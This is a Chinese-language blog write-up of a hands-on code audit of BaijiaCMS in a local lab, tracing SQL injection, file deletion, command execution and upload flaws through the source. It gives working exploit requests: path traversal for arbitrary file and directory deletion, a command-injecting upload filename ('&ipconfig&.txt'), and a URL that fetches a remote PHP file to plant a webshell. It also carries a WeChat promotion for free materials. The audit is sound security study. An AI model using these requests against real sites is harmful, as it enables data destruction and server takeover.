前言
之前审计的CMS大多是利用工具,即Seay+昆仑镜联动扫描出漏洞点,而后进行审计。感觉自己的能力仍与零无异,因此本次审计CMS绝大多数使用手动探测,即通过搜索危险函数的方式进行漏洞寻找,以此来提升审计能力,希望对正在学习代码审计的师傅能有所帮助。
环境搭建
源码链接如下所示https://gitee.com/openbaijia/baijiacms安装至本地后,我这里是phpstudy+win10,所以直接解压到phpstudy的www目录下即可。

接下来去创建一个数据库用于存储CMS信息。(在Mysql命令行中执行)
[img=720,450.4390243902439]https://img-blog.csdnimg.cn/c8600b636ffa41508b21c6cf1a42d081.png[/img]
接下来访问CMS,会默认跳转至安装界面。
[img=720,408.73362445414847]https://img-blog.csdnimg.cn/a6ca0b8287f947818c3cd39ba2350f64.png[/img]
数据库名称和账密注意一下就好,其他随便写。
[img=720,121.5]https://img-blog.csdnimg.cn/f80d2e4364524298b8acbd80a26599ee.png[/img]
而后安装成功,可以开始进行审计了。
审计
准备工作
我们拿到一套源码时,首先需要对具体文件夹进行一次分析,这样才能对CMS有一个初步的印象,为后续审计做一些铺垫。根目录如下所示:
[img=720,420.57142857142856]https://img-blog.csdnimg.cn/2d3bc8bc229d4fd599f49fba77f7cb0d.png[/img]
其对应目录解释如下:- addons 插件
- api 接口
- assets 静态文件
- attachment 上传目录
- cache 缓存目录
- config 系统文件
- include 系统文件
- system 后端代码
复制代码 针对system目录,这个较为常用,我们可以对其进行进一步分析。- system 系统模块目录
- ├─alipay 支付宝服务窗模块
- ├─bonus 优惠券模块
- ├─common 公共函数模板
- ├─index 登录页
- ├─member 会员模块
- ├─modules 可再扩展模块和模块管理
- ├─public 公共模块
- ├─shop 后台商城模块
- ├─shopwap 前台商城模块
- ├─user 系统用户
- └─weixin 微信模块
复制代码 对这些有过了解后,还需要看的就是一些后端支撑文件,例如这种xxxinc.php文件,他们常常存在一些漏洞,进而导致CMS出现漏洞。
【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)
[img=720,159.1104933981932]https://img-blog.csdnimg.cn/5c32eb6a390448eda9eb1ae66b5806d6.png[/img]
所以简单阅读一下这些也是有必要的。接下来准备工作做完,就开始下一步。
路由解析
对一个CMS进行漏洞探测前,我们需要首先需要对CMS的路由有所了解。这里我们直接访问默认页面baijiacms-master/index.php,然后登录后台,这里说一下我自己认为找路由还可以的方法,就是关注一些特别点,好找一些,比如这里的修改密码界面。
[img=720,255.31380753138075]https://img-blog.csdnimg.cn/37737677a75b4ebfbf451de369a2ff0b.png[/img]
我们点击它,发现此时的路由如下:- baijiacms-master/index.php?mod=site&act=manager&do=changepwd&beid=1
复制代码 接下来我们在Vscode中进行全局搜索,搜password=
[img=720,342.3549295774648]https://img-blog.csdnimg.cn/74c1925d8b694f6fa3525afcb1681c76.png[/img]
结果如下,可以发现它的路径。- baijiacms-master\system\manager\class\web\changepwd.php
复制代码 再找到它的具体位置。
[img=720,295.93220338983053]https://img-blog.csdnimg.cn/ca8485366301453a91858201bc2c426a.png[/img]
我们将它与之前看到的路由进行比对,就可以发现act其实是system文件夹下的文件夹名称,do是所选择具体文件的名称,对这些有个初步的了解,待会找到文件时能在网页中访问即可。
漏洞查找
这里Seay+关键词搜索的方式进行漏洞查找。
SQL注入
疑点一(失败)
发现有很多疑似注入点,从第一个开始跟进看。

文件路由/addons/activity/class/mobile/index.php重点代码。- global $_W,$_GPC;
-
- $activityid = intval ( $_GPC ['activityid'] );
- $operation = !empty($_GPC['op']) ? $_GPC['op'] : 'display';
- $pagetitle = "活动报名入口";
-
- $activity = pdo_fetch ("SELECT * FROM " . table ('activity') . " WHERE uniacid = '{$_W['uniacid']}' and id = " . $activityid );
复制代码 可以看到uniacid变量确实未被单引号包裹,可能存在注入,但我们这里注意到它是$_W['uniacid'],追溯$_W,看到global $_W,$_GPC;,这个是全局变量,所以我们直接在vscode中进行查找(ctrl+shift+f全局搜索)
[img=720,451.4887218045113]https://img-blog.csdnimg.cn/cc9dd8ade20b41428692ddce1928d15d.png[/img]
发现$_GPC=$_GP,所以我们只需要确定$_GP,就
可以确定$_GPC,接下来寻找$_GP,最终在baijiacms.php中发现此变量
[img=720,392.67692307692306]https://img-blog.csdnimg.cn/1dc9f6529fbe4d06879e6d34d53c88c9.png[/img]
这里的话可以看出是对所有方法请求的参数进行了一个stripslashes函数处理,而后将参数进行了合并,合并后对数组内的参数依次进行遍历,进行htmlspecialchars函数处理,而后将实体字符&替换为&。不过这个是$_GPC的,但都是全局变量,$_W应该也类似,接下来再跟着看一下,我们全局搜索$_W=
[img=720,285.3995485327314]https://img-blog.csdnimg.cn/308473c1d584462684ba5c4eb14fb36b.png[/img]
这里可以发现$W=$_CMS,同时看出我们的$_W['uniacid']=$_CMS['beid'],接下来搜索$_CMS['beid']=
[img=720,263.85288966725045]https://img-blog.csdnimg.cn/2ff594f46613474282f44c802284c72e.png[/img]
找到它等同于一个函数,即getDomainBeid函数,所以接下来寻找getDomainBeid函数。
[img=720,304.11651973936375]https://img-blog.csdnimg.cn/0ae5d284f66648cdaba5a118f9bee3ed.png[/img]- function getDomainBeid()
- {
- global $_GP;
-
- $system_store = mysqld_select('SELECT id,isclose FROM '.table('system_store')." where (`website`=:website1 or `website`=:website2) and `deleted`=0 ",array(":website1"=>WEB_WEBSITE,":website2"=>'www.'.WEB_WEBSITE));
-
-
-
- if(empty($system_store['id']))
- {
- if(!empty($_GP['beid']))
- {
- $system_store = mysqld_select('SELECT id,isclose FROM '.table('system_store')." where `id`=:id and `deleted`=0",array(":id"=>$_GP['beid']));
- if(empty($system_store['id']))
- {
- message("未找到相关店铺");
- }
- if(!empty($system_store['isclose']))
- {
- message("店铺已关闭无法访问");
- }
-
- return $system_store['id'];
- }else
- {
- return "";
- }
- }else
- {
- if(!empty($system_store['isclose']))
- {
- message("店铺已关闭无法访问");
- }
-
- return $system_store['id'];
- }
- }
复制代码 这里可以看出system_store是由系统数据库中查出来的数据,这个对我们来说是不可控的,我们可控的是$_GP['beid'],此时看着一个SQL语句。- $system_store = mysqld_select('SELECT id,isclose FROM '.table('system_store')." where `id`=:id and `deleted`=0",array(":id"=>$_GP['beid']));
复制代码 如果我们的数据正常,他的结果应该是:- id isclose
- xx xxxxxxx
- xx xxxxxxx
复制代码 而当我们输入beid为xx and sleep(2)这种,它毫无疑问是不会有查询结果的,这也就意味着$system_store['id'],而这个函数的最终结果是return $system_store['id'];,那么此时它就会返回空值,那么回到这个SQL语句。- pdo_fetchall("select * from " . tablename('eshop_member') . " where isagent =1 and status=1 and uniacid = " . $_W['uniacid'] . " {$condition} ORDER BY agenttime desc limit " . ($pindex - 1) * $psize . ',' . $psize);
复制代码 如果我们那里正常,想让返回的不为空值,那么这个$_W['uniacid']只能接收到正常的id,也就是数据库中存储着的id值,所以这里是无法进行SQL注入的。
类似这个的还有如下文件:- 文件名:system/eshop/core/mobile/commission/team.php
- 部分PHP代码
- $list = pdo_fetchall("select * from " . tablename('eshop_member') . " where isagent =1 and status=1 and uniacid = " . $_W['uniacid'] . " {$condition} ORDER BY agenttime desc limit " . ($pindex - 1) * $psize . ',' . $psize);
-
- 文件名: /addons/activity/class/web/activity.php
- 部分PHP代码:
- $activity = pdo_fetch ("SELECT * FROM " . table ('activity') . " WHERE uniacid = '{$_W['uniacid']}' and id = " . $activityid );
- 文件名:/addons/activity/class/mobile/join.php
- 部分PHP代码:
- $row = pdo_fetch ("SELECT id FROM " . table ('activity') . " WHERE uniacid = '{$_W['uniacid']}' and id = " . $activityid );
- 文件名:/addons/activity/class/web/records.php
- 部分PHP代码:
- $row = pdo_fetch("SELECT id,pic FROM " . table('activity_records') . " WHERE id = $id and uniacid = '{$_W['uniacid']}'");
- 文件名:/system/eshop/core/web/shop/dispatch.php
- 部分PHP代码:
- $dispatch = pdo_fetch("SELECT id,dispatchname FROM " . tablename('eshop_dispatch') . " WHERE id = '$id' AND uniacid=" . $_W['uniacid'] . "");
- 文件名: /system/eshop/core/web/virtual/category.php
- 部分PHP代码:
- $list = pdo_fetchall("SELECT * FROM " . tablename('eshop_virtual_category') . " WHERE uniacid = '{$_W['uniacid']}' ORDER BY id DESC");
复制代码 疑点二(失败)
文件路径/system/common/model/virtual.php
[img=720,467.27710843373495]https://img-blog.csdnimg.cn/a9c1be0d5a8e4e4b8d7cd1d1234bbc6c.png[/img]这里发现参数id,跟进id变量,发现来源于- public function updateGoodsStock($id = 0)
- {
- global $_W, $_GPC;
- $goods = pdo_fetch('select virtual from ' . tablename('eshop_goods') . ' where id=:id and type=3 and uniacid=:uniacid limit 1', array(
- ':id' => $id,
- ':uniacid' => $_W['uniacid']
- ));
复制代码 发现这里的id是直接赋值为0的,我们是不可控的,所以不存在注入。
任意目录及文件删除
关于漏洞寻找,大多是从一些敏感函数入手,如果觉得Seay扫描的不够全面,我们可自行查找,对于文件删除,我们这里首先想到的就是unlink函数,所以我们这里打开Vscode,ctrl+shift+f全局搜索unlink函数。
[img=720,478.05668016194335]https://img-blog.csdnimg.cn/0be3d4c988af4915a48d3dc3220e1883.png[/img]
这里注意到有多个文件,js及css前端文件自不必看,我们这里要关注的是php文件,接下来从第一个开始看。
疑点一
文件路由baijiacms-master\includes\baijiacms\common.inc.php,涉及代码如下:- function rmdirs($path='',$isdir=false)
- {
- if(is_dir($path))//判定变量是否为目录
- {
- $file_list= scandir($path); //查看路径下的文件
- foreach ($file_list as $file)//依次遍历
- {
- if( $file!='.' && $file!='..')//如果不是.和..
- {
- if($file!='qrcode')
- {
- rmdirs($path.'/'.$file,true);//删除目录下的文件
- }
- }
- }
-
- if($path!=WEB_ROOT.'/cache/')//如果变量名不是根目录拼接cache
- {
- @rmdir($path); //删除目录
-
- }
- }
- else
- {
- @unlink($path);
- }
-
- }
复制代码 可以看到当它判定变量为目录时,会对目录下的文件进行递归,而后删除一切文件,如果它不是目录,那么他此时就会直接删除这个文件。接下来有函数了,那我们就要看哪个文件利用了这个函数,然后来进行利用。所以接下来全局搜索函数
[img=720,281.9661563255439]https://img-blog.csdnimg.cn/e9b83f1f55cd45d2b5fdd2a2baa7f0a3.png[/img]
在文件baijiacms-master\system\manager\class\web\database.php中发现如下代码:- if($operation=='delete')
- {
- $d = base64_decode($_GP['id']);
- $path = WEB_ROOT . '/config/data_backup/';
- if(is_dir($path . $d)) {
- rmdirs($path . $d);
- message('备份删除成功!', create_url('site', array('act' => 'manager','do' => 'database','op'=>'restore')),'success');
- }
- }
复制代码 可以发现这里对变量进行了base64_decode处理,这下我们想删除的目录的话,我们首先需要对他进行一个base64编码,同时我们可以看到这里指定了路径。- $path = WEB_ROOT . '/config/data_backup/';
复制代码 但这个我们其实是可以绕过的,后续只校验了是不是目录,而未限定目录,所以我们通过burpsuite抓包修改目录就可以实现任意目录删除。
接下来进行利用尝试首先我们在根目录下新建一个目录(名字随便,我这里为qwq)。
[img=720,438.3673469387755]https://img-blog.csdnimg.cn/53a58f18e67640a0b714b91ab712d76d.png[/img]
接下来访问这个数据库备份界面,具体路由如下:- http://127.0.0.1:8080/baijiacms-master/index.php?mod=site&act=manager&do=database&op=restore&beid=1
复制代码 [img=720,217.5211267605634]https://img-blog.csdnimg.cn/65f7df3569614da89a0ed364df66ad02.png[/img]
开启bp抓包,点击删除功能点。发送到重放包界面,修改id为Li4vLi4vcXdx(../../qwq的Base64编码形式)
[img=720,489.2889288928893]https://img-blog.csdnimg.cn/b97f9db299cb4794a6a5cbd9bd43c245.png[/img]
此时再回根目录查看。
[img=720,412.16766467065867]https://img-blog.csdnimg.cn/a9828997384e4f08ab19c8aeb5ff292a.png[/img]
疑点二
除了rmdir和unlink,我们常常还可以关注delete函数,因为他直译过来也是删除的意思,所以接下来就全局进行搜索delete()
[img=720,464.48275862068965]https://img-blog.csdnimg.cn/2ef5dd92f2f049bd9362dfcaddd938b2.png[/img]
而后在includes\baijiacms\common.inc.php中发现相关代码,具体代码如下:- function file_delete($file_relative_path) {
- if(empty($file_relative_path)) {
- return true;
- }
-
- $settings=globaSystemSetting();
- if(!empty($settings['system_isnetattach']))
- {
- if($settings['system_isnetattach']==1)
- {
- require_once(WEB_ROOT.'/includes/lib/lib_ftp.php');
- $ftp=new baijiacms_ftp();
- if (true === $ftp->connect()) {
- if ($ftp->ftp_delete($settings['system_ftp_ftproot']. $file_relative_path)) {
- return true;
- } else {
- return false;
- }
- } else {
- return false;
- }
- }
- if($settings['system_isnetattach']==1)
- {
- require_once(WEB_ROOT.'/includes/lib/lib_oss.php');
- $oss=new baijiacms_oss();
- $oss->deletefile($file_relative_path);
- return true;
- }
- }else
- {
- if (is_file(SYSTEM_WEBROOT . '/attachment/' . $file_relative_path)) {
- unlink(SYSTEM_WEBROOT . '/attachment/' . $file_relative_path);
- return true;
- }
-
- }
- return true;
- }
复制代码 这里重点关注这一个- if(!empty($settings['system_isnetattach']))
复制代码 当这个执行通过时,就不会去删除,反之,直接将文件删除,因此我们有必要去找一下这个是什么东西,照旧,全局搜索。
[img=720,301.2450925406618]https://img-blog.csdnimg.cn/415e7f4c4af44b348c6bb90010693f14.png[/img]
这里发现是远程附件,因此我们这里选择本地的话,按理说就可直达else,对文件进行直接删除,访问具体路由。- http://127.0.0.1:8080/baijiacms-master/index.php?mod=site&act=manager&do=netattach&beid=1
复制代码 [img=720,426.8340807174888]https://img-blog.csdnimg.cn/2ee5df593ea5439cb12dabede1418380.png[/img]
接下来就设置好了,接下来去寻找运用了这个file_delete函数的文件,全局搜索一下。
[img=720,376.969696969697]https://img-blog.csdnimg.cn/429622031cda48a9ae959c118bd64717.png[/img]
文件路由为system\eshop\core\mobile\util\uploader.php,部分代码如下:- } elseif ($operation == 'remove') {
- $file = $_GPC['file'];
- file_delete($file);
- show_json(1);
- }
复制代码 因此我们这里访问这个路由并设置operation为remove,按理说就可以直接删文件了,接下来尝试利用。
首先在根目录新建文件,这里命名为qwq.txt
[img=720,432.43243243243245]https://img-blog.csdnimg.cn/9ef20b14c787404b9acd3be72362280e.png[/img]
接下来访问路由。- http://127.0.0.1:8080/baijiacms-master/index.php?mod=mobile&act=uploader&do=util&m=eshop&op=remove&file=../test.txt
复制代码 [img=720,313.42734518700183]https://img-blog.csdnimg.cn/bf48339f08f54edebe24b9dd9d898e26.png[/img]
此时查看根目录。
[img=720,398.03076923076924]https://img-blog.csdnimg.cn/38720d361d5542ca9243acd821ac32b3.png[/img]
文件已成功删除。
同时,我们刚刚还看到了不止这一个文件利用了delete函数,另外的是否存在呢,我们来看一下文件路由system\eshop\core\web\shop\category.php,具体代码:- elseif ($operation == 'post') {
- ...
- ...
- ...
- if (!empty($id)) {
- unset($data['parentid']);
- pdo_update('eshop_category', $data, array(
- 'id' => $id
- ));
-
- file_delete($_GPC['thumb_old']);
-
复制代码 这里可以发现想删除文件,需要有三个条件:- 1、$operation == 'post'
- 2、$id不为空
- 3、$_GPC['thumb_old']为具体文件名
复制代码 所以我们按理说的话,我们去访问这个路由,然后修改$operation为post,添加参数$id=1,同时附加参数$thumb_old为想删除文件名即可实现删除文件,这个$operation在前面可以看到其实是参数op

所以我们直接给op赋值为post,即可实现文件删除,接下来进行尝试。
在根目录新建文件qwq2.txt
[img=720,484.270462633452]https://img-blog.csdnimg.cn/df8e46ec888f48649111d31b8f69a8df.png[/img]
接下来访问路由。- http://127.0.0.1:8080/baijiacms-master/index.php?mod=site&act=category&op=post&do=shop&m=eshop&beid=2&id=1&thumb_old=../qwq.txt
复制代码 此时即可实现删除文件。
命令执行
针对命令执行,我们关注的函数肯定是eval、system、exec这几个,所以接下来就尝试去利用Vscode的全局搜索来寻找可疑点。首先搜索的是eval
[img=720,394.2760563380282]https://img-blog.csdnimg.cn/e34fc12c7709442a96911de774595f25.png[/img]
找到的大多数是带有eval的关键词而非eval函数,只有寥寥几个文件涉及了eval函数,接下来进行简单分析。
疑点一(失败)
文件路由baijiacms-master\system\shopwap\template\mobile\login_dingtalk_pc.php,部分代码如下:- function checkstatus(){
- $.get("<?php echo create_url('mobile',array('act' => 'dingtalk','do' => 'fastlogin_pc','op'=>'dologincheck','skey'=>$showkey));?>", {}, function(data){
- var data= eval("(" + data + ")");
- if(data.status==1)
- {
- location.href="<?php echo create_url('mobile',array('act' => 'dingtalk','do' => 'fastlogin_pc','op'=>'tologin','skey'=>$showkey));?>";
- }
- if(data.status==-1)
- {
- alert("登录失败!重新刷新二维码登录");
- location.href="<?php echo create_url('mobile',array('act' => 'shopwap','do' => 'login','op'=>'dingtalk'));?>";
- }
- });
- }
复制代码 这里的话可以看出是js类代码,简单分析一下这个函数,不难发现参数第一个是取对应的URL,第二个函数,也就是function(data),它是对从第一个URL中提取出的参数进行执行,这里我们接着看函数,它这里当执行过函数后,对结果的状态取值进行了判断,结果为1时判断为登录成功,就会跳转至另一个界面,而当为-1时就会登录失败,重回登录界面,所以我们这里可以看到他其实是不存在输出执行结果的地方的,所以我们根本无从下手,这里是无法实现命令执行的,所以Pass。
类似的文件还有如下几个,亦不必再看。- 文件路由:baijiacms-master\system\shopwap\template\mobile\login_weixin_pc.php
- 部分代码:
- function checkstatus(){
- $.get("<?php echo create_url('mobile',array('act' => 'weixin','do' => 'fastlogin_pc','op'=>'dologincheck','skey'=>$showkey));?>", {}, function(data){
- var data= eval("(" + data + ")");
-
- if(data.status==1)
- {
- location.href="<?php echo create_url('mobile',array('act' => 'weixin','do' => 'fastlogin_pc','op'=>'tologin','skey'=>$showkey));?>";
- }
- if(data.status==-1)
- {
- alert("登录失败!重新刷新二维码登录");
- location.href="<?php echo create_url('mobile',array('act' => 'shopwap','do' => 'login','op'=>'weixin'));?>";
- }
- });
- }
- setInterval("checkstatus()",2000);
-
- 文件路由:baijiacms-master\system\weixin\template\mobile\badding_weixin_pc.php
- 部分代码:
- function checkstatus(){
- $.get("<?php echo create_url('mobile',array('act' => 'weixin','do' => 'banding_pc','op'=>'dologincheck','skey'=>$showkey));?>", {}, function(data){
- var data= eval("(" + data + ")");
-
- if(data.status==1)
- {
- location.href="<?php echo create_url('mobile',array('act' => 'shopwap','do' => 'account'));?>";
- }
- if(data.status==-1)
- {
- alert("登录失败!重新刷新二维码登录");
- location.href="<?php echo create_url('mobile',array('act' => 'weixin','do' => 'fastlogin','bizstate'=>'banding_weixin'));?>";
- }
- });
- }
- setInterval("checkstatus()",2000);
复制代码 疑点二
接下来我们关注system函数,直接Vscode全局搜。
[img=720,401.04089219330854]https://img-blog.csdnimg.cn/afe61ada9dba4fa7802dd1dfab4bb1b1.png[/img]
最终在includes\baijiacms\common.inc.php下找到system函数,其中部分代码如下:- function file_save($file_tmp_name,$filename,$extention,$file_full_path,$file_relative_path,$allownet=true)
- {
-
- $settings=globaSystemSetting();
-
- if(!file_move($file_tmp_name, $file_full_path)) {
- return error(-1, '保存上传文件失败');
- }
- if(!empty($settings['image_compress_openscale']))
- {
-
- $scal=$settings['image_compress_scale'];
- $quality_command='';
- if(intval($scal)>0)
- {
- $quality_command=' -quality '.intval($scal);
- }
- system('convert'.$quality_command.' '.$file_full_path.' '.$file_full_path);
- }
- ...
- ....
- .....
复制代码 这里可以看到是保存文件的,在其中进行了一个判断是否上传成功的,这个自不必在意,这里我们看另一个:- if(!empty($settings['image_compress_openscale']))
复制代码 这个是什么意思呢,我们这里可以看出如果这个判断可以通过,而后就会对文件名和文件路径进行一个system执行,那我们就有可能实现命令执行,因此我们的首要任务就是找到这个是什么东西,所以接下来全局搜索image_compress_openscale
[img=720,331.4748409485252]https://img-blog.csdnimg.cn/d61e61d901ef428abab51ded466ddd05.png[/img]
此时就找到了,它就是图片压缩功能,所以我们直接去开启这个功能,这里这个if判断就可以通过啦,所以接下来首先去开启这个,访问路由如下:- http://127.0.0.1:8080/baijiacms-master/index.php?mod=site&act=manager&do=netattach&beid=1
复制代码 [img=720,396.40449438202245]https://img-blog.csdnimg.cn/8eb8615d2c1d45fe83bc8a17cbd1b4fe.png[/img]
接下来我们跟进看一下哪个文件利用了这个函数,毕竟找到文件才能利用。
[img=720,411.1651728553137]https://img-blog.csdnimg.cn/0f5a89126ed2481db92ac309d86529cb.png[/img]
可以发现这里的话对此函数进行了一个利用,具体代码如下:- $extention = pathinfo($file['name'], PATHINFO_EXTENSION);
- $extention=strtolower($extention);
- if($extention=='txt')
- {
- $substr=substr($_SERVER['PHP_SELF'], 0, strrpos($_SERVER['PHP_SELF'], '/'));
- if(empty( $substr))
- {
- $substr="/";
- }
- $verify_root= substr(WEB_ROOT."/",0, strrpos(WEB_ROOT."/", $substr))."/";
-
- //file_save($file['tmp_name'],$file['name'],$extention,$verify_root.$file['name'],$verify_root.$file['name'],false);
- file_save($file['tmp_name'],$file['name'],$extention,WEB_ROOT."/".$file['name'],WEB_ROOT."/".$file['name'],false);
-
- if($verify_root!=WEB_ROOT."/")
- {
- copy(WEB_ROOT."/".$file['name'],$verify_root."/".$file['name']);
- }
-
- $cfg['weixin_hasverify']=$file['name'];
- }
复制代码 这里的话是对上传文件进行了pathinfo函数处理,其实也就是获取了拓展名(后缀名),当为txt后缀时,会继续往下进行,继而调用这个file_save函数,所以我们这里的思路就明了了,我们这里新建一个文件,命名为xxx命令.txt,此时按理说就可以达到一个命令执行的效果,接下来进行尝试。
我们这里新建一个txt文件,命名为&ipconfig&.txt

接下来对其进行上传,具体路由- http://127.0.0.1:8080/baijiacms-master/index.php?mod=site&act=weixin&do=setting&beid=1
复制代码 接下来保存便可以看到效果。
[img=720,245.64705882352942]https://img-blog.csdnimg.cn/03c6cca7e29841a2becffef4a42eba35.png[/img]
任意文件读取
疑点一(失败)
文件路由/system/eshop/core/mobile/shop/util.php,重要代码如下:- } else if ($operation == 'areas') {
- require_once WEB_ROOT . '/includes/lib/json/xml2json.php';
- $file = ESHOP_AREA_XMLFILE;
- $content = file_get_contents($file);
- $json = xml2json::transformXmlStringToJson($content);
- $areas = json_decode($json, true);
- die(json_encode($areas));
复制代码 其他暂且不看,我们这里先看这两个:- $file = ESHOP_AREA_XMLFILE;
- $content = file_get_contents($file);
复制代码 本来直接包含$file的话,确实是可能存在文件读取,但我们这里可以看到它这里是给$file直接赋值了,这个是什么呢,我们全局搜索一下可以发现是一个xml文件。
[img=720,154.62450592885375]https://img-blog.csdnimg.cn/777d62b8af6a4dd5ac7b0d88b3aae9ed.png[/img]
那么它对我们来说是不可控的,所以这里就不存在文件读取了,因此这里属于误报,看下一处。
所以类似这种的可疑点不必再关注,这里简单列出几个:- 文件名:/system/eshop/core/web/sale/enough.php
- 部分代码:
- $content = file_get_contents($file);
-
- 文件名:/system/eshop/core/web/shop/dispatch.php
- 部分代码:
- $content = file_get_contents($file);
复制代码 文件上传
疑点一
文件上传,这里Seay并未扫到什么,所以我们手动来进行寻找,对于文件上传,最先想到的就是上传二字,对应英文为upload,所以直接Vscode全局搜索upload()
[img=720,453.05483028720624]https://img-blog.csdnimg.cn/5748c983818c4a3a8cc613e1e2afd8a8.png[/img]
文件路由为includes\baijiacms\common.inc.php,具体代码如下:- function file_upload($file, $type = 'image') {
- if(empty($file)) {
- return error(-1, '没有上传内容');
- }
- $limit=5000;
- $extention = pathinfo($file['name'], PATHINFO_EXTENSION);
- $extention=strtolower($extention);
- if(empty($type)||$type=='image')
- {
- $extentions=array('gif', 'jpg', 'jpeg', 'png');
- }
- if($type=='music')
- {
- $extentions=array('mp3','wma','wav','amr','mp4');
- }
- if($type=='other')
- {
- $extentions=array('gif', 'jpg', 'jpeg', 'png','mp3','wma','wav','amr','mp4','doc');
- }
- ...
- ...
- }
复制代码 这里可以看到这个是进行了很多检测的,对文件类型进行了检测,且要求了后缀,所以这个函数应该是文件上传不了了,但还好它不止一个有关upload的函数,我们往下看到这样一个函数:- function fetch_net_file_upload($url) {
- $url = trim($url);
-
-
- $extention = pathinfo($url,PATHINFO_EXTENSION );
- $path = '/attachment/';
- $extpath="{$extention}/" . date('Y/m/');
-
- mkdirs(WEB_ROOT . $path . $extpath);
- do {
- $filename = random(15) . ".{$extention}";
- } while(is_file(SYSTEM_WEBROOT . $path . $extpath. $filename));
-
-
-
- $file_tmp_name = SYSTEM_WEBROOT . $path . $extpath. $filename;
- $file_relative_path = $extpath. $filename;
- if (file_put_contents($file_tmp_name, file_get_contents($url)) == false) {
- $result['message'] = '提取失败.';
- return $result;
- }
- $file_full_path = WEB_ROOT .$path . $extpath. $filename;
- return file_save($file_tmp_name,$filename,$extention,$file_full_path,$file_relative_path);
- }
复制代码 可以发现这个只对文件进行了pathinfo函数处理,取出其后缀名,然后拼接路径及随机数字来组成文件名,那么我们如果通过这个函数进行文件上传,按理说就可以上传php文件实现getshell,接下来看看哪个文件利用了此函数。
[img=720,584.8543689320388]https://img-blog.csdnimg.cn/167c489074ca41649df037f8684d4fa9.png[/img]
文件路由system\public\class\web\file.php,具体代码:- if ($do == 'fetch') {
- $url = trim($_GPC['url']);
- $file=fetch_net_file_upload($url);
- if (is_error($file)) {
- $result['message'] = $file['message'];
- die(json_encode($result));
- }
-
- }
复制代码 接下来我们只需要满足do=fetch,然后url中包含我们的文件,便可实现文件上传,我这里远程文件内容如下:

接下来进行利用尝试。访问路由如下:- http://127.0.0.1:8080/baijiacms-master/index.php?mod=web&do=file&m=public&op=fetch&url=http://xxx.xxx.xxx.xxx/qwq.php
复制代码 [img=720,104.02730375426621]https://img-blog.csdnimg.cn/a2e71f71e20a42ee91993a057473dbbe.png[/img]
访问给出的文件路径。
[img=720,279.85714285714283]https://img-blog.csdnimg.cn/94a422cdb2c1417ca03b912b706ccf4e.png[/img]
可以发现此时已经实现了文件上传,如果传一句话木马即可Getshell。
后言
本次CMS审计是小白的第一次大幅度利用手动搜索危险函数来寻找漏洞,共计耗时半周,对本小白来说已颇为吃力,其中颇多审计失败的点,虽审计失败,但仍感觉对代码能力有了进一步了解,也算有所收获。最后,如果文章中有错误,还望各位大师傅多多指正。
更多靶场实验练习、网安学习资料,请点击这里>>
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |